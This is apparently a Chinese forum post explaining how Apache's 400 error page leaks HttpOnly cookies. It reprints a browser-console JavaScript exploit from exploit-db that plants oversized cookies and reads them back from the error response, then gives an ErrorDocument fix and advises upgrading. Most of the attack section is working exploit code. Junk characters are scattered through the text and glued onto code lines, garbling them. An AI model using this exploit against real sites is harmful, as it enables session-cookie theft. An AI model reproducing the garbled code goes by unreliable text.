很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。& x% W. {9 p* Q; n
5 j) L" h. E0 ^7 X4 i3 e
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
( _+ D1 U7 H1 ]& [5 s+ I) z, }. Y
[6 D8 _: R2 {, ~2 l3 ?- i. x+ o8 v5 E' P, Q) O4 P A) ]
// http://www.exploit-db.com/exploits/18442/
* C9 [& Y6 E. K' Jfunction setCookies (good) {
3 U' ~4 P2 A" j4 L+ M# i/ `// Construct string for cookie value- C; S' _- G' _) b1 J1 l
var str = "";4 A& j6 r! ~$ j+ p* @( g. b- t
for (var i=0; i< 819; i++) { R4 P3 _) M4 _0 I' n% X8 C8 s
str += "x";
M9 U* K1 W( M0 d2 r# p}1 H6 P2 L( Z1 c2 y6 w+ @5 V% {! F7 [
// Set cookies& b9 p5 a2 l; G2 S
for (i = 0; i < 10; i++) {
9 O7 [* o6 h3 j. p9 v% m" Z// Expire evil cookie; p2 Q. a, u) L5 } K
if (good) {
. c& W J7 w* Y" f/ @. _, Evar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";) R V2 E' y, S& v* U) F
}# t s. ]% Q# J1 v+ [; }: z
// Set evil cookie6 n$ u0 Q5 Q1 V! G! c
else {
1 Z( }3 R! U2 v, a8 w, i* dvar cookie = "xss"+i+"="+str+";path=/";4 h1 M( z: V5 O8 L
} G& c$ H4 H$ D2 f+ }
document.cookie = cookie;1 y! C. q' A' ~
}+ V1 |& |7 V: p4 }& ?' ]
}
$ m) T# B& J9 mfunction makeRequest() {
* u- F) s, }, RsetCookies();
; |, |8 k2 m" d" I( t' A& ~& gfunction parseCookies () {
/ s E# T* [& Z" kvar cookie_dict = {};
8 L2 ]; W" Z$ ]" N// Only react on 400 status
7 b( Z- y( {% R7 {7 e1 Q/ @if (xhr.readyState === 4 && xhr.status === 400) {3 T7 Y6 u9 D6 S5 v% W( Z8 l
// Replace newlines and match <pre> content
: y3 y4 i' I5 z: Y: ?$ Dvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);( D. ]# S) N- u( n2 J, ?4 w: ~
if (content.length) {4 W: s* F& |5 x
// Remove Cookie: prefix
, a- o+ _; W& `content = content[1].replace("Cookie: ", "");: u/ B$ h4 }: v! G/ Z! C1 ~
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
# s* ]* y+ S: U! V4 |+ r// Add cookies to object1 L# S- J* I/ u* j# j" L
for (var i=0; i<cookies.length; i++) {
5 z, n7 Z. k `7 evar s_c = cookies.split('=',2);3 N9 T. L# R% v, M Z1 Q: @
cookie_dict[s_c[0]] = s_c[1];
) _' `! ?8 v3 U1 U}+ x+ P( y3 m0 P4 d' `
}
5 h4 _* L& `6 O8 a2 m6 ?& p( L, X// Unset malicious cookies
& K$ y) l* C9 U+ f$ @0 ?9 \setCookies(true);# t' c& P" T$ i) N; y' k* t0 g
alert(JSON.stringify(cookie_dict));
" p4 c2 X( x. Q: g* R0 W}
' i; g. L! S1 ] \4 i8 k3 |}) C% U P% V8 ~/ A0 O
// Make XHR request8 A8 n( h1 F- v' J7 q' ?
var xhr = new XMLHttpRequest();7 h) M5 v, R) t; a( l+ J
xhr.onreadystatechange = parseCookies;
8 B+ k) e6 h) Z* {xhr.open("GET", "/", true);
' n! ~ n! u, ?$ s' _: R, n6 ]! u' Gxhr.send(null);
: o' |6 n# Q6 }8 ]}
" p& ~! i! O' w1 \! g# q/ \makeRequest();
( c& x e+ o/ @5 p* L6 W) n# ?" n; y" G/ f
你就能看见华丽丽的400错误包含着cookie信息。
5 J- |0 ^6 x" Z. W6 S7 V5 E' Y2 Y* J7 |0 `/ Y# P
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#- c* C! v+ A7 K0 V2 R
1 |' \6 q0 C/ F9 R修复方案:3 p! L3 m7 ~7 k& W$ q: Z' J
5 r# K# \$ L, Q( ~
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
& T8 @1 P* G3 W( N
# l; X+ X8 h: Q) k2 `In the event of a problem or error, Apachecan be configured to do one of four things,: |1 Q/ b5 a2 S2 y- C
2 w. {7 S" G/ d1. output asimple hardcoded error message输出一个简单生硬的错误代码信息& e1 ]" x2 j: ]9 }
2. output acustomized message输出一段信息
* g1 k8 p/ |4 ^, S$ e& ^! d: R/ x5 \3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
( M# V- i' X) `# \7 h0 W4. redirect to an external URL to handle theproblem/error转向一个外部URL* z9 g" N' _. F
! n# A: D( z& u
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
4 f9 }+ g! U* z$ t; g: ]! q Q
+ L+ m3 |+ B: ] L! ?7 zApache配置:
& j5 j7 U: r9 x/ g% n; X( i. e0 m+ d' u! u7 H& Z% B- Q
ErrorDocument400 " security test", h D* c* h+ e6 a
1 Y- i, E) s4 j# l$ @
当然,升级apache到最新也可:)。+ _, b }# z. x* R2 N2 m
`9 b A7 A3 q- M s' I参考:http://httpd.apache.org/security/vulnerabilities_22.html
, {2 s# {/ k2 G# V9 d3 P4 X2 D0 L% Y& b: G( V4 n& g+ c4 g: E
|